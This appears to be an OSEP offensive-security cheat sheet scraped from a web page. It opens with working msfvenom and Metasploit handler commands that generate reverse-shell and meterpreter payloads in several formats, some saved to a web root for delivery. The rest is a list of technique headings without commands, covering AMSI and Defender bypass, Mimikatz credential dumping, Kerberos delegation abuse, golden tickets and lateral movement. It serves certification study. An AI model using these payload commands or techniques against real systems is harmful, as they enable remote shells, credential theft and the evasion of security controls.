OSEP Cheat Sheet
Payloads
Multi handler oneliner with custom certificate
msfconsole -q -x 'use multi/handler; set payload windows/x64/meterpreter/reverse_https; set HandlerSSLCert /home/kali/worstenbrood.pem; set lhost 192.168.49.92; set lport 443; run'EXE
sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=444 -f exe -o /var/www/html/shell.exeVBA
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 EXITFUNC=thread -f vbapplicationCSharp SharpShooter payload (edit file after creation, remove first line and brackets)
msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 EnableStageEncoding=True PrependMigrate=True -f csharp -o /var/www/html/payload.txtDLL (for rundll32)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 -f dll -o data/exploit.dllPython
msfvenom -p python/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 -f raw -o data/shell.pyELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 EXITFUNC=thread -f elf -o /var/www/html/met.elfDotNetToJscriptDirectly
DotNetToJScript.exe ExampleAssembly.dll --lang=VBScript --ver=v4 -o runner.vbsJS through SharpShooter
HTA through SharpShooter
Domain fronting meterpreter
AMSI
Hooking with Frida
Bypasses
Inject AMSI bypass remotely
PowerShell v2 (no amsi)
WinDbg
Execute
Powershell one-liner (base64 payload)
WMIC
Microsoft.Workflow.Compiler
Run.xml
installutil
rundll32
Alternate Data stream
HTA shortcut
PowerShell with error printing
Macro Shell with error printing
JScript shell with error printing
Loading a driver through sc.exe
VBS get
JS get
BAT get
Linux rev shell bash
MSSQL
Query MSSQL servers
xp_cmdshell
xp_dirtree
sp_OACreate and sp_OAMethod
Exec on linked server
Custom assembly from file
Custom assembly from hex
Load PowerUpSQL
Get all accessible domain MSSQL’s
Enum database users
Audit SQL
Tunneling
DNSCAT
MSF autoroute
Chisel
PrivEsc
Load PowerUp
Load PrivEscCheck https://github.com/itm4n/PrivescCheck
Shadowcopies
LAPS
MSF
View current privs
Spoolsample local exploit
Mimikatz remove PPL and dump pws
Offline dump lsass
Remotely load Invoke-Mimikatz
Invoke-Mimikatz remove PPL Protection
Invoke-Mimikatz get passwords from minidump
Invoke-Mimikatz remove ppl & dump passwords
Enable wdigest
VIM
.bashrc
View sudo current user permissions
Open shell
Keylogger
Traversal
RDP
PTH
SharpRDP
Fileless PTH
ControlMaster
SSH-Agent
Ansible
Crackmapexec
Powershell remoting
Pass the hash
Use keytab of user
Use keytab with impacket
Linux libraries
Compile lib LD_LIBRARY_PATH
with map
Compile lib LD_PRELOAD
Add to .bashrc
View loaded libs
Get symbols
Create version map
Active Directory
Enum
View object ACL’s
View all user objects access rights (GenericAll, WriteDACL)
View all group objects access rights (GenericAll, WriteDACL)
Change ACL if WriteDACL is set on object
Get interesting ACL’s
Unconstrained delegation
Get unconstrained delegation computers
View and use forwardable tickets on unconstrained host
Check printer spooler service active on remote host
Rubeus monitor for incoming tickets filtered by host (run on Unconstrained delegation host)
Force remote host to connect to host
Use ticket with Rubeus
Force dcsync using mimikatz to get user hashes using injected ticket
Constrained delegation
Get constrained delegation computers
Generate a TGT for a user
S4U Constrained Delegation generate ticket for any domain user
S4U Constrained Delegation generate ticket for any domain user for a alternative service on the same host
PowerShell Remotely load rubeus
Resource-Based Constrained Delegation
Get GenericWrite computers
Get machine quota in the domain
Add computer using PowerMad
Update msDS-AllowedToActOnBehalfOfOtherIdentity of ‘server’ object to newly created machine
Use computer account to generate ticket
Add computer using impacket
Update msDS-AllowedToActOnBehalfOfOtherIdentity of ‘server’ object to newly created machine using impacket
Get service ticket using impacket
Kerberoasting
PowerShell load assembly Rubeus from base64
Export all available tickets
Forest enum
Get trusted domains
Enumerate users in a trusted domain / forest with PowerView
Enumerate groups in a trusted domain / forest with PowerView
Get users in Enterprise Admins group of root domain
Forest compromise
Dump KRBTGT
Generate domain SID
Generate golden ticket with ExtraSides (obtaining Enterprise Admins role in trusted domain) <destination domain SID with "-519" appended>
Beyond forest enum
Get forest trusts
Get trusts to domains in other forest
Get users in other forest
Get group members of a group in another forest
Enable SID history (on target forest DC)
Enumeration
Enumerate Windows with HostRecon
Check if PPL Protection is enabled
Check if AppLocker is enabled
Check PowerShell execution context
Get loaded DLL’s
Windows Defender
Disable defender realtime montoring
Defender get detection history
Defender remove signatures
Defender settings
Other
View current Integrity
Rubeus Password to hash
Run CMD as other usr
Nmap through Proxychains
Get NTLM from krb5.keytab file
Search fileshares
Find machines current user has local admin
View local admins on computer
List GPO’s
Reset user PW through PowerView
Send mail with swaks
PowerSharpPack
Last updated